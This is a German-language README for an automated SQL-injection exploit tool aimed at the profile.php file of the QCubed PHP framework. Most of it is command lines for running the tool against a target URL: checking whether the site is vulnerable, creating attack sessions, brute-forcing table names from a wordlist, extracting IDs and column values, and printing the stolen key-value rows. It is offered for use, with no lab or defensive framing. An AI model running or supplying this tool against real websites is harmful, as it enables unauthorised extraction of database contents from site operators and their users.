
automatisierte SQL-Injection für die QCubed profile.php-Datei
Du benötigst Bun, installiert über: https://bun.sh
Zum Installieren der Abhängigkeiten:
bun install
Zum Ausführen:
# Hilfe anzeigen
bun run exploit -h
# Auf Schwachstellen testen
bun run exploit vulnerable -u https://site.com/framework/assets/_core/php/profile.php
# Eine Sitzung für ein neues Ziel erstellen
bun run exploit create -n your_session_name -u https://site.com/framework/assets/_core/php/profile.php
# Tabelle brute-forcen
bun run exploit brute-table -n your_session_name -w path/to/wordlist.txt
# Gefundene Tabellen oder Spalten einer Tabelle anzeigen
bun run exploit show-table -n your_session_name
bun run exploit show-column -n your_session_name -t table_name
# ID brute-forcen
bun run exploit brute-id -n your_session_name -t table_name -i 1
# Zeilenwert brute-forcen
# optional `-r` hinzufügen, um das Brute-Forcing ab der letzten Position fortzusetzen
bun run exploit brute-column -n your_session_name -t table_name -c column_name -i 1
# Gefundene Schlüssel-Wert-Paare einer Tabelle anzeigen
# optional `-i id_value` zum Anzeigen nur für eine bestimmte ID
bun run exploit show-rows -n your_session_name -t table_name